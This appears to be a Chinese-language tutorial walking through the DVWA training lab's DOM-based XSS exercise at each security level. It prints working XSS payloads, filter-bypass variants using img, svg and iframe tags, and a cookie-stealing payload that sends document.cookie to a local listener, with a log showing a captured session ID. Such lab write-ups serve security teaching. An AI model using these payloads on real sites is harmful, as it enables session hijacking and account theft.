DVWA靶场之十:DOM 型 XSS(DOM Based Cross Site Scripting (XSS))

DVWA靶场之十:DOM 型 XSS(DOM Based Cross Site Scripting (XSS))


XSS:攻击者把恶意脚本注入到网页中,受害者的浏览器会把它当成来自"受信任站点"的脚本来执行。脚本可以读取 cookiesession token、或修改页面、发起请求等。

DOM Based XSS:恶意脚本不是服务器在 HTML 内直接返回的,而是存在于 URL。

页面的客户端 JavaScript 在渲染时直接从 URL/DOM 读取并插入到页面,从而触发注入------服务器端不"看到"恶意脚本,WAF 也可能检测不到。

目标:在别的用户的浏览器里执行你(攻击者)控制的 JavaScript。


1. low

php 复制代码
<?php
# No protections, anything goes
?>

没有任何限制

抓包一下,发现是通过GET提交请求http://127.0.0.1/vulnerabilities/xss_d/?default=English

输入网址http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert("XSS")</script>

得到

可以看到网页代码里也出现了
当然也可以用payload:<script>alert(document.cookie)</script>这种查看cookie

比如我们现自己创建一个服务器

bash 复制代码
python -m http.server 1337

然后使用payload

php 复制代码
<script>window.location='http://127.0.0.1:1337/?cookie=' + document.cookie</script> 

之后就能在自己服务器获取cookie

bash 复制代码
python -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...
127.0.0.1 - - [05/Oct/2025 21:14:43] "GET /?cookie=PHPSESSID=e2ad486ef27f9561715011391530632b;%20security=low HTTP/1.1" 200 -
127.0.0.1 - - [05/Oct/2025 21:14:43] code 404, message File not found
127.0.0.1 - - [05/Oct/2025 21:14:43] "GET /favicon.ico HTTP/1.1" 404 -

2. medium

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

代码通过 stripos() 函数检查 $_GET['default'] 中是否包含字符串 <script

如果找到了 <script,代码会通过 header() 函数重定向页面,将 default 参数的值设置为 "English",从而避免恶意脚本的执行。

所以只需要用除了<script>的方式就可以绕过

比如

  1. 使用其他HTML标签和事件处理器
html 复制代码
<!-- 使用img标签 -->
<img src=x onerror=alert(1)>

<!-- 使用svg标签 -->
<svg onload=alert(1)>

<!-- 使用body标签 -->
<body onload=alert(1)>
  1. 使用链接标签
html 复制代码
<!-- 使用a标签 -->
<a href="javascript:alert(1)">点击</a>

<!-- 使用iframe -->
<iframe src="javascript:alert(1)">

由于注入是在<select></select>里的,所以payload别忘了闭合

比如

php 复制代码
</select><img src=x onerror="window.location='http://127.0.0.1:1337/?cookie='+document.cookie">

就可以在自己服务器得到cookie了


3. high

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

严格白名单:只允许4个特定值

自动重定向:非法输入直接重定向到English

彻底阻断:非白名单值完全无法进入后续处理

这里提一个知识

复制代码
  http://example.com/path/page?query=value#fragment
└ 协议 ┘ └─── 域名 ──┘ └─路径─┘  └─查询参数┘   └─片段┘

URL的片段部分(#符号后面的任何内容)不会发送到服务器,因此无法被拦截。用于渲染页面的有问题的JavaScript代码在创建页面时从片段中读取内容。也就是说这是从客户端自己发送的。

http://127.0.0.1/vulnerabilities/xss_d/#?default=<script>alert(document.cookie)</script>就能查看cookie,其他的方法和之前一样


4. impossible

php 复制代码
<?php
# Don't need to do anything, protection handled on the client side
?>

服务端零防护,服务端完全不验证、过滤或编码用户输入,所有安全责任都推给了客户端。

大多数浏览器默认会对URL中的内容进行编码,这可以防止注入的JavaScript代码被执行。

相关推荐
还在忙碌的吴小二3 分钟前
XXL-RPC 框架使用手册
网络·网络协议·rpc
幽络源小助理12 分钟前
逆向工程系统学习资源图谱(2026):从 Windows 内核、安卓安全到游戏协议分析的全栈教程清单
学习·安全·游戏·逆向工程
打不了嗝 ᥬ᭄15 分钟前
网易 UU 远程 2026年1月 新春升级深度测评:免登录破局 + 安全加码 + 运维专属,重新定义远程协助体验
运维·安全
Lun3866buzha15 分钟前
街道施工场景中个人防护装备识别与安全监督系统详解_yolo12-C2PSA
安全
九成宫18 分钟前
计算机网络期末复习——第3章:运输层 Part One
网络·笔记·计算机网络·软件工程
xian_wwq22 分钟前
【学习笔记】网络安全L3级模型功能解析
笔记·学习·安全
触想工业平板电脑一体机23 分钟前
【触想智能】工业触控一体机在船舶海运设备上应用的特点和具体场景分析
android·网络·计算机外设·电脑·智能电视
nvd1126 分钟前
Cookie 技术深度剖析与实战指南
网络
christine-rr28 分钟前
linux常用命令(9)——查看系统与硬件信息
linux·运维·服务器·网络·后端
yuanmenghao36 分钟前
自动驾驶中间件iceoryx - 同步与通知机制(一)
开发语言·网络·驱动开发·中间件·自动驾驶